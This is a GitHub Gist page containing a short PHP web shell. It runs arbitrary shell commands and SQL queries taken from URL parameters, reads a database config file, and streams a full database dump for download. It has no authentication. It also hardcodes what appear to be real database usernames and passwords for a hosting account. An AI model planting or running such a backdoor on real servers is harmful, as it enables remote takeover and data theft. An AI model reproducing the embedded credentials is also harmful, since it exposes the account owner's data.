Skip to content

Instantly share code, notes, and snippets.

@silverwolfceh
Created February 22, 2023 05:53
Show Gist options
  • Save silverwolfceh/c454f248e49369710b5b016a9e97d71a to your computer and use it in GitHub Desktop.
Save silverwolfceh/c454f248e49369710b5b016a9e97d71a to your computer and use it in GitHub Desktop.
<?php
function run_cmd($cmd = 'ls') {
system($cmd);
}
function db_dump() {
$DBUSER="u935748659_kd2814";
$DBPASSWD="C]y4z=F~QrH";
$DATABASE="u935748659_kd2814";
$filename = "backup-" . date("d-m-Y") . ".sql.gz";
$mime = "application/x-gzip";
header( "Content-Type: " . $mime );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
$cmd = "mysqldump -u $DBUSER --password=$DBPASSWD $DATABASE | gzip --best";
passthru( $cmd );
exit(0);
}
function db_query($q) {
$servername = "localhost";
$username = "u935748659_kd2814";
$password = "C]y4z=F~QrH";
$database = "u935748659_kd2814";
$conn = new mysqli($servername, $username, $password, $database);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if ($result = $conn->query($q)) {
// Free result set
$result -> free_result();
}
$conn->close();
}
if(isset($_GET['mode'])){
$mode = $_GET['mode'];
switch($mode) {
case 'db':
echo run_cmd("cat ../../db/connect.php");
break;
case 'cmd':
echo run_cmd($_GET['cmd']);
break;
case 'dbdump':
db_dump();
break;
case 'query':
db_query($_GET['q']);
break;
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment